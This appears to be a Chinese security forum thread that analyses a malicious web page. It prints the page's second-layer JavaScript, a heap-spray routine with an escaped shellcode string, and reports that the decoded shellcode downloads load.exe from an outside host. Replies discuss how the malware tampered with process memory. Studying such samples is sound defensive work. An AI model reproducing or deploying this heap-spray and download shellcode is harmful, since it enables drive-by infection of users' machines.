75ni*8I*77r~in{*77*8J*8H*7Kin{*8J*75*5F*8H*7Kgti~*8J*75*5F*8H*7Kmyrq*8J5');</Script>"))</script>

复制代码

第二层

1. <html><head><script language="JavaScript">
   
2. 
   
3. var mm = new Array();
   
4. var mem_flag = 0;
   
5. 
   
6. function h() { mm=mm;a=1;setTimeout("h()", 2000); }
   
7. 
   
8. function getb(b, bSize)
   
9. {while (b.length*2<bSize){b += b;}
   
10. b = b.substring(0,bSize/2);return b;}
    
11. 
    
12. function cf()
    
13. {var zc = 0x0c0c0c0c;
    
14. var a = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
    
15. "%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb" +
    
16. "%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7" +
    
17. "%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
    
18. "%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85" +
    
19. "%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa" +
    
20. "%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf" +
    
21. "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc" +
    
22. "%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba" +
    
23. "%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec" +
    
24. "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c" +
    
25. "%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4" +
    
26. "%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07" +
    
27. "%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u6E2F%u6B74%u6E72%u706C%u2E61%u6E69%u6F66%u722F%u2F63%u6966%u656C%u702E%u7068%u693F%u3D64%u0031");
    
28. ...
    
29. ...

复制代码

shellcode解出来得到http://ntkrnlpa.info/rc/file.php?id=1
下载一个load.exe

kuririn

你 24樓 那隻 load.exe

我允許 訪問物理內存 也沒有事啊

另外你看 http://bbs.kafan.cn/viewthread.php?tid=141490&extra=page%3D1 7樓

他應該是允許 修改其他進程內存

nvsvc64.exe 修改 svchost.exe 內存

結果中標了